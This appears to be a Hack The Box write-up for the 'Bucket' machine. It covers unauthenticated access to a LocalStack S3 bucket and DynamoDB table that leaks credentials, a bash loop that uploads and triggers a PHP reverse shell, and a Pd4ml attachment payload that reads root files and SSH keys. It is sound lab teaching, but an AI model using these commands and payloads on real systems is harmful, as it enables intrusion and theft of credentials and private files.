Bucket is a very interesting box that replicates an AWS Cloud Stack. It’s also quick to the draw on file clean up so some scripting is useful to obtain a foothold.
Nmap
Starting off with the usual nmap scan shows two open ports. A bucket.htb
web page on port 80 and SSH on port 22.
sudo nmap -sC -sV 10.10.10.212
[sudo] password for nightwolf:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-29 22:27 UTC
Nmap scan report for 10.10.10.212
Host is up (0.099s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds
We add bucket.htb
to our /etc/hosts
file and navigate to the page.
Port 80 hosts single page website and not much else. No other pages are linked and there is no visible method to provide user input. The page’s HTML does show some useful information however.
Images are being loaded from s3.bucket.htb.
DNS won’t resolve this so it requires an entry in /etc/hosts file to reach. There is some JSON stating something is “running”.
Running FFUF on the S3 subdomain finds some more pages with useful information.
ffuf -u http://s3.bucket.htb/FUZZ -w /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://s3.bucket.htb/FUZZ
:: Wordlist : FUZZ: /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
health [Status: 200, Size: 54, Words: 5, Lines: 1]
shell [Status: 200, Size: 0, Words: 1, Lines: 1]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
:: Progress: [220547/220547] :: Job [1/1] :: 108 req/sec :: Duration: [0:33:52] :: Errors: 0 ::
/health
states that s3 and dynamodb are running.
/server-status
is forbidden. /shell
redirects to port 45566 before crashing out. Unless another /
is added to the end. It then directs to a dynamodb web shell.
This looks rather like AWS server of some kind. HTB isn’t running off AWS though. So there most be another explanation. Research for a how to set up AWS locally turns up LocalStack on GitHub, a project designed to emulate an Amazon cloud stack.
https://github.com/localstack/localstack
It is designed to work as a local version of AWS and to emulate a number of it’s components for testing. Awsclient, a tool for interacting with AWS services can also be used to interface with LocalStack.
The S3 API can be used to discover and enumerate the contents of an S3 bucket.
# List Buckets
aws s3api list-buckets --endpoint-url=http://s3.bucket.htb/ --profile default
# List contents of bucket 'adserver'
aws s3api list-objects --endpoint-url=http://s3.bucket.htb/ --profile default --bucket adserver
A bucket called “adserver” is accessible without authentication. Listing the contents shows the images and index.html
that were seen on the bucket.htb
prior.
Dynamodb,the other service that we have seen mentioned, is also accessible without authentication and contains a users table.
# List tables
aws dynamodb list-tables --endpoint-url=http://s3.bucket.htb/ --profile default
# Describe users table
aws dynamodb describe-table --endpoint-url=http://s3.bucket.htb/ --profile default --table-name users
# List the Content (Creds)
aws dynamodb scan --endpoint-url=http://s3.bucket.htb/ --profile default --table-name users
Enumerating the contents of the users table, reveals a number of credentials.
aws dynamodb scan --endpoint-url=http://s3.bucket.htb/ --profile default --table-name users
{
"Items": [
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "Welcome123!"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "n2vM-<_K_Q:.Aa2"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
These use to attempt login in over SSH on port 22. None return valid.
Another option is attempt to upload a web shell. This is a bit tricky as Bucket is very aggressive at cleaning up user files. In order to make sure we don’t miss it, we create the following script to upload Pentest Monkey’s PHP reverse shell and repeatedly request it. Start a netcat listener and run the script.
#!/bin/bash
x=0
aws --endpoint-url=http://s3.bucket.htb/ s3 cp magic.php s3://adserver/magic.php --profile default
# Trigger the reverse shell
while true; do
curl http://bucket.htb/magic.php
echo Try: $x
((x=x+1))
sleep 2
done
This uploads the reverse shell to the adserver bucket and then repeatedly requests it from the HTTP server. When the reverse shell has been published to the HTTP server a callback is received giving an attacker remote code execution.
User
The call back is as www-data
. /home
can be checked to show users that could be potentially be logged in to. roy
is one such uaer. Logins can now be attempted on port 22 using the passwords obtained earlier. n2vM-<_K_Q:.Aa2
, is valid.
Root
There isn’t anything promptly useful in roy
’s groups, sudo rights, or home folder.
However, /var/www/bucket-app
. index.php has some interesting content.
The PHP code reveals that if an a post request is made where action is equal to get_alerts
, the contents of the data field in the Ransomware table are converted into a PDF by a Java application called Pd4Cmd. This application has been exploited before as detailed in this article.
It describes how a bug in Pd4Cmd was leveraged in to attach the content of arbitrary files to a generated PDF. This could used to leak sensitive files such as a root SSH key or /etc/shadow
.
Before that be done, index.php
needs to be accessible. It’s not on the HTTP sever we interacted with before, bucket.htb
. Settings for web Apache web servers can be found in, /etc/apache2/ports.conf
roy@bucket:/etc/apache2$ cat ports.conf
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
Listen 127.0.0.1:8000
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
There is another server listening locally on port 8000. Checking it’s contents with a curl returns the HTML content of index.php
.
Recalling aggressive cleanup scripts, it seems prudent to script our interactions.
#!/bin/bash
# Create the alerts table. (It doesn't exist be default.)
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 --endpoint-url http: //s3.bucket.htb/
# Create an entry in the alerts table that contains our payload.
aws dynamodb put-item --table-name "alerts" --item '{ "title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\" PushPin\">file:///root/root.txt</pd4ml:attachment>"} }' --return-consumed-capacity Total --endpoint-url http://s3.bucket.htb/
sleep 1
# Scan the table and make sure our data is entered successfully.
aws dynamodb scan --endpoint-url=http://s3.bucket.htb/ --profile default --table-name alerts
# Log into Bucket over ssh and curl the local web server. Then copy the newly created results.pdf to /dev/shm for us to collect.
sshpass -p "n2vM-<_K_Q:.Aa2" ssh roy@bucket.htb "curl http://127.0.0.1:8000/ -d 'action=get_alerts'; sleep 5; cp /var/www/bucket-app/files/result.pdf /dev/shm/.file"
After executing the above, /dev/shm
contains root.txt. It is also possible to login as root by changing the file attachment to be an /root/.ssh/id_rsa
.
Wrap Up
Learning about AWS was a large part of this box and it created a unique experience. It was a really enjoyable to learn about the platform and how to interact with it. Thanks MrR3boot for the machine!